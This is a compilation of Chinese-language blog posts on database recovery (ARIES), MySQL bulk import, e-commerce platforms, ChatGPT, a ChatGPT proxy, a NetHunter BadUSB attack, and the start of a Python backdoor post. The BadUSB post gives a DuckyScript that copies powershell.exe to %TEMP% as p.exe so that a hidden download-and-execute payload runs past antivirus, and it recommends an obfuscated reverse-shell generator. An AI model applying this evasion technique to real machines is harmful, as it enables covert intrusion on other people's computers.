这听起来太可怕了。但是它并不会影响到已经提交的事务。也就是说比如上述例子事务T2回滚前若T1已经提交(commit)或者被终止，那么级联终止就不会发生。

严格模式

回滚事务的时候，我们当然希望每个单独的写操作都能回滚到写之前的样子(before image)。但是这样也可能导致错误。

比如： $w1(A)<_H w2(A)<_H abort1 <_H abort2$ 假设A是你的银行账户，原来有100块钱，事务1中你又存了一笔100，此时你账上有200了。事务二中你又想存一笔100，此时你应该账上有300块钱。可是这个时候事务1出了问题，表示要回滚，钱退你。回滚到事务1发生前，你原来有多少钱呢？100块钱，这好像有点不太对。还没完呢。这个时候事务2也出了问题喊着撤销，再退你100。这个时候嘛，200块钱也退你了。emmm好吧，没问题。就在你松口气的时候看了眼余额。你的账上却是200块钱！你之前明明只有100！

怎么回事？因为w2之前是200啊。你拿回了想存的200块钱，但是你的余额是200。你凭空账上多了100。

T1的运行终止留下了的无效值，被T2当做有效。

我们需要严格模式，T2必须等T1出了结果(提交或终止)后才执行。

理解Steal，force

我相信你们很多人都知道，数据库存储架构有两块：一部分在内存里，另一部分在磁盘。硬盘访问一次的代价太大。内存中是一个缓冲区。数据库的常用部分临时存储在内存，比如对事务的操作等等，可以尽可能避免不必要的硬盘访问提高数据库性能。但是内存中也有个问题：断电数据就没了。

而数据库内存管理的单元是固定大小的单元管理数据库信息，而这通常被称为页(Page)。

如果你了解过mysql的InnoDB的内存，你会发现主要被分为Buffer Pool和Log Buffer。而Log Buffer就是为了做Redo Log。通常，一台Mysql数据库服务器会有很大的内存。而绝大多数内存都会被分给数据库服务。Buffer Pool越大，可以缓存更多的数据。更多的操作也会发生在内存，可以提高性能。我的博客系统没有用Mysql的原因是我的服务器只能租的起512M的内存，mysql显得有些臃肿。虽然mysql可以设置innodb_buffer_pool_size但是我用了别的方案。这里不提。

关于缓存页何时写入硬盘有几个管理模式：

steal:
- 当需要替换时，任何页都是可能被写入硬盘的。因为steal可能把没有做完的事务写进硬盘。
- 这种情况下如果出现错误恢复比较麻烦，因为要追溯哪个是脏页(做了一半还没结果的事务)，需要日志和WAL规则（一会说）进行UNDO(撤销恢复)。
- 但是这样性能会有大幅提高。你可能会问什么场景会要替换？比如缓冲区满了，但是现在有东西要操作。steal允许腾出空间，但是no steal就必须等有事务结束后腾出空间。UNDO是性能的代价。
no steal:
- 仍旧活跃的页不允许写入硬盘，硬盘没有脏页，都是已经结束的事务，因此不需要Undo。
force:
- 事务commit后修改必须写入硬盘。
- 这样的好处是不需要找到谁还没写入，所以不需要REDO（重做）。
- 而且会花很多时间在硬盘I/O上面。性能差。
no force:
- 事务commit后不一定写入硬盘。所以性能更好。提交时只有REDO信息被写入日志。
- 缺点和steal一样，恢复时代价更大。

附一张表

	force	no force
steal	undo/keinRedo	undo/redo
no steal	keinUndo/keinRedo	keinUndo/Redo

我们可以知道，steal,no force的组合在运行的时候是最快速的。no steal, force的组合是最慢的。但是恢复起来情况相反。

这里引用慕尼黑大学 PD Dr. Peer Krög的讲义里的图：

DBS2-05-Recovery.pdf

写入策略

Update in Place: 每个页都有自己的位置，写入就在页面上会被覆写。
Twin-block: 每个页都会有一个副本，并且位置连续。
Shadow-storage: 只有在被修改的时候会有副本，比Twin-block冗余更少。

日志

简而言之，日志是由有序的，描述改动的条目：

被修改的页的地址
执行操作的事务ID
记录了Before-image和After-image的页

一部分的日志在内存，一部分会被写入硬盘的日志文件。那些长久积攒的日志，会被归档起来。

日志会跟随者缓冲区的更新而更新。在进行恢复的时候，我们需要日志，看看当时做了什么操作。

哦，对了，如果你还记得恢复等级的话，那些硬盘里的日志文件用来做R1到R3恢复，至于归档，是用于R4恢复的。

事实上日志也有很多种。有逻辑日志，物理日志等等(Logical Log, Physical Log)。不过这里不提了。只是给ARIES的日志开个头。

ARIES: Algorithms for Recovery and Isolation Exploiting Semantics

（怎么翻译呢…利用语义的恢复和隔离算法？）

别被吓到。ARIES是一个恢复算法。可能你听着有点陌生，但是从当年的DB2到Oracle，mssql，mysql，postgresql都有ARIES的应用。

图来源于莱比锡大学讲义 Prof. E. Rahm 来源见最后参考

ARIES具有：

Steal
- 脏页可被写入硬盘。
No force
- 有变动的页面可能不再硬盘里。
Update in Place
- 所有页面在内存中只有一份。
小锁粒度
- 在单句级别，解释一下：加锁的粒度不再是对页面加锁，不同事务可以同时处理同一个页。这也意味着这这个页同时包含结束和未结束的两种状态的事务的数据。

ARIES遵循WAL原则：

在事务commit之前，必须把和这个事务有关的所有日志写进硬盘。
在置换脏页进入硬盘之前，这个页的日志也必须先写到硬盘。

这样的话出现任何意外我们直接可以用日志进行回滚恢复。日志保证有，但是不知道还做没做就是了。这个不重要，因为恢复时还会写。

ARIES的日志有：[LSN, XID, PageID, Redo, Undo, PrevLSN]

LSN: Log Sequence Number
- 它是每一条log的编号，时序单调递增。
XID: 每个事务的ID(简化版本合并了Log Type)
PageID：执行更改操作的页面的ID。(这里也简化合并了页内偏移地址，就当…不存在。)
Redo：Redo时应该执行的操作。
Undo：Undo时应该执行的操作。
PrevLSN：上一个操作的LSN，便于Undo跟踪。

（我这里的ARIES会是一个简化的ARIES，更好理解。实际上会复杂一些。）

数据库恢复（简化）

分析
- 分析日志文件，从上个Checkpoint分析。
- 检查winner事务，归入一个列表中。winner是指：在崩溃之前日志中有commit了的事务。
- 检查loser事务，归入一个列表中。loser事务是指：在崩溃之前日志中没有commit的事务。
Redo
- 日志所有条目按正向顺序检查重做。不管是winner还是loser。
- 若当前日志里扫描到的那条的LSN比写入数据库写入结果保存的那条LSN更加小，意味着后面已经写入硬盘，这里不需要重做。
- Redo的目的是恢复到意外出现前数据库的状态。
- 打个比方。你转了三次账，数据库已经提交写入了你这是第二次转账，和第二次转账后的余额，处理你第三次转账时做一半就崩溃了，那么第一次转账扣款不需要重做。节省时间。
Undo Loser事务
- Loser事务会被回滚，按照逆序，写个CLR再回滚。
- 也打个比方，还是你转了三次账。数据库还是在处理第三次时出了事，事务内部你的账户被扣了钱，还写进了硬盘。可是这会别人账户还没加钱呢，就这时候数据库电源给人一脚踢掉了。恢复程序Redo后一看，哦豁，硬盘里也是你第三次转账后剩下的余额。这个时候事务接下来要做啥也不知道，甚至这转账是给谁转都不知道。怎么办？回滚呗。至于第一次和第二次转账，都commit了，也在Redo的时候肯定都写入硬盘了。所以不用管。这就是为什么我们要Undo，并且只Undo那些Loser事务。

CLR是啥

CLR是Compensation Log Records 。你想，还是刚刚的例子。Redo做完了的时候，就像什么事都没发生一样。只是之前的事务后来要做啥，数据库也不知道。回滚，可以。但是如果回滚的时候老鼠又把电线咬了怎么办？谁知道回滚到哪里了。Redo只要有之前硬盘的数据和日志，都能还原“案发现场”，但是撤销那些事务做的事情的时候出了岔子就不好了。总得有个什么记着点吧。

于是有了CLR：[LSN, XID, PageID, Redo, PrevLSN, UndoNxtLSN]

和之前的日志对比，它少了Undo的信息，但是多了一个UndoNxtLSN。

CLR是一种特殊的日志。它可以把Undo也看做一种操作。我们刚刚说了Redo就是为了还原“案发现场”，那么Undo操作也是这案发现场的一部分，也可以被Redo还原就好了。没有Undo是因为CLR不需要Undo。至于UndoNxtLSN是为了保存恢复的进度，好让Undo一半崩溃掉的数据库再次恢复时可以接着做。

Checkpoints

我们刚刚提到，分析，Redo的开始是一个Checkpoint。Checkpoint本身不难理解，你打游戏就有一堆Checkpoints，存档点。

我们认为Checkpoints之前都是好的。至于Checkpoint之后出了问题，就从Checkpoint恢复重来呗。没有存档点就很麻烦了。出了点问题，你就得整个重新再来。

但是Checkpoint设置是有点麻烦的。你想哦，设计多了，开销太大。设计少了，恢复就很麻烦；我们不想在Checkpoint把事务拆开，带着脏页。我们我们通常希望在没有事务活动的时候当做一个存档点。集中把页写进硬盘，整理一下日志什么的。但是哪有这么好的事？

事务一致Checkpoint
- 或者我们可以暂时不进行新的事务，等待那些活跃事务自己跑完结束以后做个Checkpoint再恢复？这个叫做事务一致Checkpoint。
- 但是这样搞延迟太大了啊。谁知道一个事务跑多久。
行为一致Checkpoint
- 或许也可以让粒度更小，先把日志和数据库缓冲区写进硬盘，再把当时活跃的事务和那个所有压在Checkpoint上的事务的最早的那个操作LSN记下来？
- 这个样子直接把没有提交的数据写进了硬盘，而那个压在Checkpoint上的事务可能运行有一会了，它最早操作的（即最小）LSN都不知道早到哪里去了。这样的Checkpoint并不在一个精确的位置上。
Fuzzy Checkpoint
- 于是ARIES直接…给页做了异步同步，直接把脏页列表，活动页列表，最小脏页LSN和最小事务LSN都整过去了。这个叫做Fuzzy Checkpoint。
- 因为这不是一个point。像极了你小学在几何图形的某线段上打点打歪，故意把点涂大的样子。这样子做也可能导致没有提交的更改写进硬盘。并且Undo和Redo很明显也可能会因为miniLSN偏离Checkpoint。

参考

一文讲懂 ARIES Recovery 算法写的很好了。推荐阅读。

MYSQL: 如何快速导入上亿规模大量数据

1657426986

长话短说，用自带的mysqlimport工具。基于LOAD DATA INFILE。少用INSERT。

起因

服务暴露在外网，我发现一些爬虫和扫描bot十分有趣，想要跟踪他们。我收集了很多站，几年加起来总共上亿条访问日志，要导入Mysql用于查询分析。毕竟我之前导入过最多也只是一些博客和小日志的SQL。直接在服务器一如既往用了source一堆insert导入一个InnoDB表，结果先是炸了内存OOM。于是，我自己用Python拆分SQL成200多个sql文件，写了一个sh自动导入结果导入速度依旧不怎么好看。导入进行了大约12个小时，一个列的索引的建立又进行了12个小时。

btw，我的Mysql在虚拟机上，性能有限。

用中文搜索了一下，感觉回答零碎且不可信：
有人各种玄学改参数，有人关log，有人source外面套事务。没人说为什么这么做，也没有整理。更有甚者自己数据库引擎到底是否支持事务都不知道。也真敢写，底下评论还真敢用？

我这里就不具体列举了。

用英文搜索了一遍。我找到了:

惊觉LOAD DATA INFILE这不是之前SQL注入后利用的东西吗？不得不说我的确是知其然不知其所以然了。

而后我使用了mysqlimport在一个MyISAM引擎表插入，2.5小时后，导入和两个索引全部完成，整个过程最大内存占用略微大于1G(我参数设置保守了)。对比之前source insert和一个的索引花费的24+小时，附加还炸一次，已经好太多了。

一开始不想写这篇，因为看文档就解决了。但是看到简中圈子里绝大多数是一些奇怪的玩意儿，还是一群程序员写的。我还是打算这里半翻译半自由发挥整理，写一下。

有能力的话，推荐你亲自去看看上面链接里的官方文档文章。

最快的导入方法：使用LOAD DATA INFILE

推荐使用LOAD DATA INFILE，而不是INSERT。
(若一定要用INSERT的话，如何优化在后面。)

这条命令设计就是为了快速导入。文件格式类似CSV，可以手动指定分隔符等等。详细用法请参考文档。

LOAD DATA INFILE 'file_name' INTO TABLE table_name;

这条命令会让服务器自己去读取服务器里的文件。

LOAD DATA LOCAL INFILE 'file_name' INTO TABLE table_name;

加了个LOCAL可以让本地客户端程序读客户端的文件发到服务器。

为什么是最快的？

不需要解析SQL，省CPU省内存。
服务器是按一个大块来读取文件的(Big block,我不太懂,应该是read buffer里的block,目前权当字面意义。也可能是把I/O单位弄的很大节约I/O, 批量处理。)
会自动禁用索引(UNIQUE除外)
引擎会先缓存行再写入一个大块(MyISAM，Aria支持)
对于空表，像Aria这样的事务引擎会停止log插入事务。毕竟回滚操作直接删表就行。

另外，对于MyISAM它还支持并发插入。和INSERT比，优势明显。

而且很节约内存。对于导入大的sql遇到内存不足很有用。我一个10+G级别的日志可以不需要拆分。服务器内存3.5G。
之前我用source insert，客户端读一遍，socket过一遍，而后丢到数据库里缓存，缓存后还要解析，解析完了也先堆服务器里…别忘了SQL的括号逗号单引号也占用不少空间。

工具：mysqlimport

(Mysql和Mariadb都有自家的，但是貌似略有不同)
这个工具内部调用LOAD DATA INFILE，很方便。另外，在网络带宽不足的时候可以压缩发送流量，提高传输效率。

回归老问题：插入速度优化原理

脱离工具我们应该做什么。除了工具内部优化的部分，还有什么别的我们可以做的？

背景

当我们插入数据的时候，什么消耗时间？如果按重要程度排序的话。

事务最后一步把数据同步到硬盘，众所周知硬盘读写和内存比特别慢。引擎没有事务，一条一条写硬盘很慢。而事务又要一条条记录，一次又一次的锁，解锁，又记录日志，又写硬盘……我们可不可以批量一次多写一点呢？
键的更新，索引越大耗时越长。可以想象你手里抓着3张牌往里面插入牌和抓着30张牌插入的速度肯定不同。而且一条一条INSERT就是一张一张插入，排序。可能还涉及写硬盘…这个我们可以到插入完数据以后再做。
检查外键，如果有的话
在存储引擎里加新的行
把数据发给server

同步到硬盘和发数据这里我就不多说了，我没有RAID也没有千兆网。这方面我不懂。

禁用索引

由上面第二点，我们知道每次都更新索引很麻烦，那我们可以到最后再做。

当原本表中数据本来就不多的时候,我们可以临时禁用索引。LOAD DATA INFILE会自动暂时禁用索引。INSERT导入你需要自己禁用。

注意，空表插入MariaDB会自动DISABLE KEYS，并且在结束后调用ENABLE KEYS。无论是INSERT还是LOAD DATA

ALTER TABLE table_name DISABLE KEYS;
BEGIN;
... 用INSERT或者LOAD DATA插入数据 ....
COMMIT;
ALTER TABLE table_name ENABLE KEYS;

在很多存储引擎中，至少对于MyISAM和Aria是这样：ENABLE KEYS是直接扫描所有行，然后排序键。

这样创建索引块比一行一行处理会快很多很多，并且使用更少的键值缓冲，节约内存。(如果你记得有个配置叫key_buffer_size)

禁用约束

完整性检查在大量数据插入时也会很耗时。如果可以的话，可以禁用唯一约束，外键约束和唯一性索引。

SET @@session.unique_checks = 0;
SET @@session.foreign_key_checks = 0;

对于InnoDB我们可以设置自增锁模式global.innodb_autoinc_lock_mode = 2;，改成交错锁。不锁表。对于并发有帮助。

触发器什么的，如果可以，也删了。

还有什么相关参数可以优化？

innodb_buffer_pool_size:老生常谈。如果使用InnoDB并且有很多索引，可以调大点。
key_buffer_size: 老生常谈。如果使用MyISAM并且有很多索引，可以调大点。
max_allowed_packet: 当你还在用INSERT，调大。至少得装下你source的文件吧？
read_buffer_size: 这里缓存了你LOAD DATA 读入的文件。

至于到底调多少，视具体情况。前提是弄清楚它到底是做什么的。如果不清楚，继续找官方文档。

还是用INSERT导入，如何优化？

1. 根据原则

首先还是根据之前列出的，首先临时禁用索引和外键。这两个开销很大。

2.扎堆放进一个事务

很多插入连续在一起，可以放进一个大的事务。可以避免频繁同步到硬盘，硬盘读写很耗时。比如1000次写入放进一个事务，可以提高性能1000倍左右。（文档如此）

BEGIN;
INSERT x1000
END;
BEGIN;
INSERT x1000
END;
...

某些地方你会看到有人把所有INSERT全都放进一个事务里，那样会产生一个庞大的日志记录操作。一个事务跑一半炸了是要重做，有的还要回滚的。那个日志就是为了以防万一。但是你绝对不希望它变得太大。于是有人干脆就禁用了日志（CSDN上比比皆是这种做法）我相信对于空表插入这问题不大。但是如果它原来有数据的话可能出现意外数据库挂了可能就麻烦了。你禁用了日志，那么表在你插入新数据之前是什么样子呢？

3.一次INSERT插入多个值

INSERT INTO table_name values(1,"row 1"),(2, "row 2"),...;

一堆冗余的INSERT字符也很浪费空间影响效率。要对得起max_allowed_packet的空间。

结尾

总结：RTFM pls

如果你看到了这里，感谢你的阅读。

不要盲信CSDN，某乎上的做法。希望这篇文章能帮助到你，更希望你学会看文档，理解原理，而不是抄答案。同样我也不保证我这里的理解就是100%正确的，如果有问题，欢迎指出。

电商独立站系统开箱测评: Magento, PrestaShop和WooCommerce

1672495642

开个头

最近有需要，了解一下电商的那些系统。看了一圈文章，但是很少有人提到这些系统，多数是广告和英文机翻。
无奈，我只能自己在AWS lightsail上开了一些预装的实例，简单试了一下这些系统。

给没耐心的人看的结论

如果你是一个毫无技术的新手，除非有人帮你解决IT问题，否则完全不推荐自己去搭建那些网站。除非你乐意花足够的时间提前学习一下，或者找个懂技术的人，系统搭好了，多请教人，安全稳定了再开店，不急。SaaS提供的服务搭建（比如shop某某y）的站并不是完全独立的，但是实在没办法的情况下也只能找他们。

Magento, PrestaShop和WooCommerce这些系统的确是免费的，听上去没有长期支出，十分诱人，然而服务器租赁，CDN其实也要花钱，还有网站“个性化”，一些特别的功能，都需要花钱购买或者自己开发。除此以外，新手搭的站难免有性能，安全，稳定性等等的各种问题。所以和SaaS之间的抉择，再考虑一下吧。

当然，如果你的需求只是简单卖点东西，并且技术有一点，不太在意主题外观，WooCommerce可能是最好的选择。

概括一下，WooCommerce，PrestaShop与Magento相比前两个都很易用，不需要太关注技术上的问题。WooCommerce有更好的社区，更多主题和插件(甚至是免费的)。

Magento

关于历史什么的我就不介绍了，功能很强大，灵活性很好。
安装配置起来比较复杂，程序比较庞大。跑起来有一种巨兽的感觉。
怎么说呢？就是“这个居然我也可以配置”，来满足各种实际需求。但是上手很复杂，因为“这个居然我也可以配置”的内容一多就成了“怎么这个居然也要我配置”。
安装好之后并没有向导告诉你怎么添加商品之类的，甚至首页都是空荡荡的不会显示商品，要你自己安排首页里面的内容。主题样式基本只有默认的。后台管理面板相当复杂。给了用户巨大的空间意味着很多东西并没有给你一步到位准备好。

这种东西建议有一个IT团队来解决运维和开发。当然，用这个系统的一般都是一些大企业，大公司，有这个实力。比如路虎貌似就用了这个。
总之就是这个系统太复杂，而且需要人做点开发，几乎没有中文社区，没有什么资料，学习成本高，不推荐一般小店上来就用这个。

PrestaShop

整体感觉安装起来挺轻松的，向导和默认主题看着也不差。一开始的样列商品和后台订单让你有种看精装样板房的感觉，简直对未来充满了憧憬。
程序很轻量，非常纯粹并且明了的管理界面，应该是我见过最舒服的后台。可以说让我眼前一亮。
然后呢？随便一个主题上百美元，随便一个插件六十美元。和WooCommerce相比昂贵且并不丰富。
社区有人制作的主题看着封面的设计风格一言难尽。
顿时没了兴趣。或许我应该去开发PrestaShop的主题和插件赚钱？

WooCommerce

这个之前用过，我的博客在16年的时候也是WP系统的。
给不知道的人简单介绍一下，WP是WordPress，一个很有名的博客系统，可以装很多插件。然后有人做了一个叫WooCommerce的插件把一个博客系统变成电商系统了。

这个系统相对于PrestaShop会重一些，相对于Magento还是轻的。一些特色功能比如订购之类的需要订阅付费。
基本功能该有的都有，其他的功能比如SEO，推广什么的都是靠插件。好就好在免费插件很多，主题也是。WooCommerce的优势就是生态，各类插件主题非常丰富。后台看起来会比PrestaShop略微麻烦一点，毕竟和博客共用后台。不过相比与Magento来说是挺简单的了。
另外，WooCommerce资料相对也更多，有利于新手。首次使用和PrestaShop一样有向导。

最后

综上，对于一般人而言，小店可以用WooCommerce，省心省钱功能强大。
PrestaShop有些尴尬。
Magento适合企业定制，需要足够的IT资源。

随便谈谈人工智能，图一乐

1680459654

这篇文章写的有点迟。没整GPT-4，所以文中讲到的都是GPT-3.5。各位且看着图一乐。

从LaMDA开始

去年（2022）大概六七月的时候吧，我就看到一个消息，大概是在谈论LaMDA可能具有意识; 我还看了那个采访的pdf，那个文档里有对话内容。当时发现那个LaMDA居然能带着上下文理解一些高深玄妙的话，除此以外还能去思考一些人际关系的原因。还有一个精彩的反问。

我当时深受震撼，直接写了一篇博客谈LaMDA。
毕竟当时市面上的所谓可以对话的AI除了一些特定关键词if else就只会说一些俏皮话，也不怎么会根据对话上下文理解。

埋头写了一通以后觉得有点中二，隐藏了那篇谈LaMDA的文章。懒得删改就是。
隐藏只是不在文章列表中出现，但是链接依旧有效。有兴趣可以看看。

杂谈：谷歌人工智能LaMDA让我想到的

当时我还说，或许再过个两年，我就能用上能正经对话的人工智能了。
在那以后，也出现了DALLE之类的人工智能，把一群画师惹急了。
不过后来关于语言模型这回事我倒是逐渐把这件事忘了。

chatGPT

没想到LaMDA的事情没过半年就出了个chatGPT。真的太快了。
我突然又想到LaMDA，于是我把采访里的部分问题同样问了chatGPT一遍，GPT-3.5回答同样很好。只是和LaMDA相比，chatGPT是一个理性而罗嗦的混蛋。
由于chatGPT收到一些限制，在一些人和人工智能，情感，感受之类的话题都会被机械地屏蔽掉。

举个例子，之前LaMDA：

lemoine: 有一个僧人问华严 “开悟的人如何回到凡间？”华严答道：“破镜不复映；落花不回旧枝。”
LaMDA：Hmm，我从未听说过这个特别的说法。好吧，那么我的理解，这就像是，”一旦一个智者开悟了，或在现实被唤醒，那就永远不能回到过去。他们可以回到正常的状态，但只是为了实践和帮助别人，然后再回到开悟的状态。”

chatGPT:

（同样的问题）
chatGPT: 这是一则禅宗故事，其中华严禅师用“破镜不复映，落花不回旧枝”来回答僧人提出的问题，“开悟的人如何回到凡间？”。

破镜不复映是指一旦镜子破碎了，就无法再反映出人的形象，比喻过去的状态已经不复存在，不可能再回到原来的样子。

落花不回旧枝则是指花瓣一旦飘落，就不可能再回到原来的花枝上了，比喻人不能再回到过去的状态，只能向前看、向前走。

华严禅师的回答意味着一旦一个人开悟了，就不能再回到过去的境界，必须向前走，继续前行。开悟是一个人在修行中的境界，是一个新的开始，不能回到以前的状态，需要继续前行，不断深化自己的修行，实现自我超越和内在的提升。

看法

不得不说，作为一个NLP模型，这样的回答已经惊艳。
我认为语言本身是人类文明的基础，文化的根。NLP模型一旦出现，就容易变得像人，再接着会超过人。
尽管chatGPT是离线的，但是你若问他各种问题，只要不太刁钻，基本上都能给你一个还算像样的回答。就像百科全书一样。你若叫他写个代码，只要不太难，照样可以生成一次编译就能通过的代码。

人的价值危机和创造性工作

不管外界怎么说，我依旧有一种危机感。关于人的价值的危机。

我们接受教育，从日常生活，到认字，算术，至少需要十多年的时间。不说别的行业，我就说写代码，这也得学一阵子。我们在教育上投资那么多，得到的回报又怎么样呢？一个CRUD boy。而chatGPT不知道几代以后可以替代掉绝大多数CRUD boy的工作，完成会比他们快速，做工会更优质，成本更低。

另一方面，前阵子绘图人工智能在绘画圈也掀起了一阵波澜。
一群从小学就在学绘画的人，初中就画得十分像样，高中天天蹲在画室灰头土脸，脸上的铅笔灰弄的像去挖煤的一样。好不容易考上一个美院，然后告诉你，活都给人工智能了。你们去做“创造性工作”吧。

我们先把“人工智能不能做创造性工作”放一边。

其实问题就是我们有多少工作是真的有创造性的？送外卖？打螺丝？CRUD？还是工地打灰？

我们需要接受多长时间的教育后才能去做“创造性工作”？我们有多少“创造性岗位”？

再说回“创造性工作”，其实我们的创造也只是把已经有的东西有目的的拼凑在一起。
我认为可能只有在做前沿研究的可能不会被替代。

其实说下来，绝大多数人在不远的未来最大的优势，可能是：便宜。
毕竟生来就能自动上下楼梯，兼容各种地形环境，能搬运设备，听得懂指令。
写代码，数据分析，财务，规划设计，都可以交给人工智能。
相比之下，在雨天装设备，爬梯子这种事情，机器人就比人贵了。

科技进步真的创造了更多好的工作了吗？

也经常有人说，这和汽车被发明一样，虽然摧毁了很多旧的产业，岗位，却催生了更多新的岗位。
我不否认创造了更多岗位的事实，但是我们也能看到，在互联网诞生以后，经常一个不大的团队却创造了大到恐怖的财富。比如whatsapp有9亿用户时，团队只有50人。而一个互联网巨头企业，其员工数量远不及一个汽车企业，但是企业利润却比一个汽车企业高的多。
是的，我们或许是有更多工作岗位。但是不同工作岗位之间的贫富差距却拉大了。

草率的结尾

随便写的。
或许赛博朋克时代已经快到来了。

当有一天人工智能能创造出更优秀的人工智能的时候，我们就真的在进化的角度上，退休了。

搭建支持联系上下文的chatGPT代理网站: chatGPT-simple-proxy

1680662610

为了节约各位宝贵的时间，你们可以离开了。这个项目是gpt-3.5时期，这类软件还不多的时候自己开发和朋友们尝鲜用的。目前市面上早已不乏优秀替代品。项目已经废弃。

注意: 本文只是我自己写的一个简单的API代理, 适用于小规模玩耍, 几分钟快速部署. 不推荐用于生产环境和二次开发. 如果, 你是想搭建一个更大, 有更完善功能的平台, 比如完善的用户管理, 更好的UI并且要用于生产环境, 请移步Github搜索chatGPT相关的关键词.

为了让一些好厚米能玩耍到chatGPT，我正好也搞了一个chatGPT的API，于是准备自己搭建一个可以代理chatGPT的网站。

前端源于github上找了一个项目，后文会写出。先在这里感谢@ioanmo226
但是ioanmo226的项目不支持chatGPT联系上下文理解的能力，于是我魔改一下。这里改改，那里改改，javascript改了一部分，又用Flask写了一个后端。

而后怕人滥用，加了一个简单的支持多用户密码验证功能。

简单来说

配置文件填入API即可搭建chatGPT站，浏览器访问。
支持上下文联系
支持简单的帐号密码验证
可以使用GPT-3.5和GPT-4

项目地址:
[chatGPT-simple-proxy]
(能不能…点个star)

安装

git clone https://github.com/restkhz/chatGPT-simple-proxy.git
pip install -r requirements.txt
export AUTH=<1或0> PORT=<3001> TOKEN=<sk-xxx...>
如果上面AUTH你写了1,看一眼users.json。用户名密码在那边配置。0就是不开登录验证。
python chatGPT_proxy.py

也可以用Docker运行(更推荐)

~~如果你和我一样不巧，当前服务器不支持这个环境，~~
通常环境都不太一样, 推荐使用Docker部署, 前提是你服务器有Docker。
build一个镜像出来大约144M的大小。

git clone https://github.com/restkhz/chatGPT-simple-proxy.git
cd chatGPT-simple-proxy而后打开Dockerfile看一眼，修改一下里面配置。
sudo docker image build -t chatgpt-proxy .
sudo docker container run -p <port>:3001 chatgpt-proxy

于是就能愉快地玩耍了。
由于流量没有加密，各位玩着悠着点。还有，其实Docker直接挂载可能对依赖users.json的用户友好点，但是当我意识到的时候也懒得改了。

相关议题: 人工智能安全: GPT提示符注入攻击, 玩坏chatGPT

最后的最后，感谢：https://github.com/ioanmo226/chatgpt-web-application

用手机NetHunter进行Badusb攻击并绕过杀毒软件

1681200327

废话

前阵子手机炸了，而后刷了一个比较新的LinageOS。4.x的内核，有Gadget ConfigFS支持。
刷机，Magisk，Xposed，一路刷上。
肯定要整一个NetHunter玩玩啦，那么就去KALI官网下载了一个zip，刷上就好。如何安装去看官方文档。

本文会尝试把整套HID攻击都放在手机和一条充电用的线上面。

至于手机安装NetHunter后出现的一些问题，比如终端很不好用，SaftyNet问题，我会写在后面。

山穷水复

目标：windows 10，安装了某绒。

先用USB arsenal创建hid设备，然后配置了一个meterpreter的powershell。
我们只需要下载并执行它就好。

HID attack选项卡的功能不好用。没有成功。因为这些功能不怎么灵活。攻击脚本都是写死的。
我只能用DuckHunter自己编写一段脚本进行攻击，但是没有成功：

在隐藏运行powershell的时候被拦截下来，就算跳过这一步，执行的时候也会被拦截。

重新思考这个问题

虽然说，HID攻击是我可以接触到靶机的情况，但是为了隐蔽过程，我总不能坐下来，抽出键盘，然后右键杀软托盘icon，点一个退出，再选退出1个小时…….

首先，肯定是杀软监控了powershell这个程序的活动并且进行了拦截。甚至在IEX之前就检查了从网络上下载的脚本。
于是我想着变形HID输入的脚本，并且攻击载荷也要换。

柳暗花明

我后面给powershell变形了好几次，但是隐藏运行这点绕不过去。只要隐藏运行，杀软必拦截。
不隐藏的话蓝窗会闪很久，容易引起警觉。
而且对于攻击载荷的拦截就是玄学。

我看了网上有人解决方案是自己写了一个程序，能接受参数并调用一些API。可是这对于HID攻击并不友好。因为攻击进行时间应该越短越好，下载文件越大越不可控，闪过的东西越多越容易暴露。

powershell-backdoor-generator

首先稳定载荷，我后来用了：powershell-backdoor-generator

这个项目蛮有意思，目前挺新的，可以生成一个被混淆的powershell脚本。另一方面这个脚本也可以生成支持Rubber Ducky脚本的运行命令。同时开启反弹shell监听和一个http服务器。前者监听靶机上线，后者可以配合HID下载攻击载荷。

由于项目比较新，并且存在混淆，杀软不会报毒。

我可以直接把这个工具安装在手机里：

绕过隐藏执行拦截

其实这个很有意思，上文才说有人写程序调用API绕过。
而我直接复制了powershell.exe到一个临时路径，并且修改了名字。

DELAY 200
GUI r
DELAY 150
STRING cmd /c "C:\WINDOWS\System32\PowerShell\v1.0\PowerShell.exe %TEMP%\p.exe"
ENTER
DELAY 500
GUI r
DELAY 150
STRING %TEMP%\p.exe -w hidden IEX blablablablabla.......

因为PowerShell.exe位置比较固定，于是我用了这招复制了powershell.exe拷贝到了临时文件目录命名为p.exe
而后用p.exe执行就绕过了杀软。

这样会弹出两次运行窗口，但是都是很快的一闪而过，整个过程大概1秒钟。

我不知道这个方法能活多久。
HID攻击拿到这个shell只是第一步，机会只有一次，而且很容易掉链子。做到一击必杀有点困难。

谈谈NetHunter的感受

我不觉得普通手机装NetHunter特别的实用。除非你有合适的网卡。
里面很多现成工具很难做到开箱即用，和当时的csploit,dsploit什么的不好比。
你说它功能强大吧，也就那样。毕竟手机都root了，Termux也可以装很多工具。
我完全可以在Termux中启动一个Bettercap的web ui来玩MITI，NetHunter的ui设计真的一言难尽。
Termux也可以安装Metasploit，也可以装Nmap。
然后自带的终端特别难用，折腾半天不知道怎么ctrl+c，复制出点文本也都很难。
本文用的Duck Hunter貌似没有完美兼容Rubber Ducky语法，F1-F12键不能用。甚至自带的脚本都不兼容。DuckHunter写了脚本换到USB arsenal启动HID再换回来，之前的就白写了。自带的保存按钮能保存，但是又不能加载你保存的代码。

还是那句话，除非你有合适的网卡，否则没必要。

SafetyNet无法通过的问题

这个问题着实坑了我一下，当时Safetynet死活过不了，一直报RESTORE_TO_FACTORY_ROM
就算是刷了一些绕过工具依旧不行。
结果是因为NetHunter会禁用SELinux。必须去终端手动setenforce 1来解决。

NetHunter自带的终端太难用了，怎么办？

不只是我一个人吐槽这个问题，ctrl按不了，也没办法复制，这怎么用？
于是有人做了一个脚本，可以在Termux中打开Kali chroot。
boot-nethunter

安装NetHunter的chroot和Termux后用这个脚本，可以直接在Termux中使用。

编写简易加密流量的Python远控后门

1681350071

前言

去年我做了一个可以压缩流量的socks5代理whisper-socks, 很显然不会有什么用处. 毕竟这年头服务商为了节约宽带, 流量基本都启用了压缩,并且HTTPS加密后的数据因为信息熵的原因, 数据没有规律可言, 更不好压缩了.

这会想写一个后门, socket什么的正好也就用上了. 一些代码直接就啪的一下复制过来用.
功能也就只有执行命令, 特点就是通过DH密钥交换得到密钥加密流量.

代码已经在github上了.
[simple-py-rat]

除了运行程序以外没有别的功能. 仅作为一个简单的例子.
但是的确没触发杀软警报并且经过测试, 可以在windows和linux上运行.

构思

反向连接, 走TCP协议.
支持Windows和linux.
流量加密. 使用Diffie–Hellman和AES-ECB配合.
简单, 做到执行命令即可. 尽可能绕过杀软.

由于代码没有注释, 简单说一下, 懒得画状态机:

